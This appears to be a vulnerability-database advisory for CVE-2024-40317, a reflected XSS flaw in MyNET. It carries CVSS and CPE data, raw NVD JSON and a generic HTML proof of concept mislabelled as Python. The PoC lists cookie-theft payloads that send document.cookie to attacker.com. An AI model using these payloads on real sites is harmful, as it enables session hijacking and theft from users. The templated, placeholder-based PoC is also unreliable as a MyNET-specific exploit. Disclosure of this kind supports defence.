Security Vulnerability Report
中文
CVE-2024-40317 CVSS 6.1 MEDIUM

CVE-2024-40317

Published: 2025-12-24 16:15:47
Last Modified: 2025-12-31 18:48:51

Description

A reflected cross-site scripting (XSS) vulnerability in MyNET up to v26.08 allows attackers to execute arbitrary code in the context of a user's browser via injecting a crafted payload into the parameter HTTP.

CVSS Details

CVSS Score
6.1
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:airc:mynet:*:*:*:*:*:*:*:* - VULNERABLE
MyNET <= v26.08

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<!-- CVE-2024-40317 Reflected XSS PoC --> <!-- Target: MyNET <= v26.08 --> <!-- Attack Vector: Inject malicious script via HTTP parameter --> <!DOCTYPE html> <html> <head> <title>CVE-2024-40317 PoC</title> </head> <body> <h2>CVE-2024-40317 Reflected XSS PoC</h2> <p>Target: MyNET <= v26.08</p> <p>Malicious URL (modify the vulnerable parameter as needed):</p> <code id="malicious-url"></code> <p>XSS Payloads:</p> <ul> <li>Basic: <code>&lt;script&gt;alert('XSS')&lt;/script&gt;</code></li> <li>Cookie Theft: <code>&lt;script&gt;fetch('https://attacker.com/steal?c='+document.cookie)&lt;/script&gt;</code></li> <li>Session Hijack: <code>&lt;img src=x onerror="this.src='https://attacker.com/log?cookie='+document.cookie"&gt;</code></li> <li>DOM Manipulation: <code>&lt;script&gt;document.body.innerHTML='&lt;h1&gt;Pwned&lt;/h1&gt;'&lt;/script&gt;</code></li> </ul> <script> // Generate malicious URL example const baseUrl = window.location.origin + '/path/to/vulnerable/endpoint'; const payload = '<script>alert(document.domain)<\/script>'; const maliciousUrl = baseUrl + '?vulnerable_param=' + encodeURIComponent(payload); document.getElementById('malicious-url').textContent = maliciousUrl; // Auto-display cookie for demonstration console.log('Current cookies:', document.cookie); </script> </body> </html>

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2024-40317", "sourceIdentifier": "[email protected]", "published": "2025-12-24T16:15:47.387", "lastModified": "2025-12-31T18:48:50.920", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A reflected cross-site scripting (XSS) vulnerability in MyNET up to v26.08 allows attackers to execute arbitrary code in the context of a user's browser via injecting a crafted payload into the parameter HTTP."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "baseScore": 6.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.7}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:airc:mynet:*:*:*:*:*:*:*:*", "versionEndIncluding": "26.08", "matchCriteriaId": "0F0C1BF8-3346-4D0E-9AA9-1B8CD5E98597"}]}]}], "references": [{"url": "https://miguelsantareno.github.io/airc_exploit.txt", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}, {"url": "https://www.airc.pt/solucoes-servicos/solucoes?segment=MYN", "source": "[email protected]", "tags": ["Product"]}]}}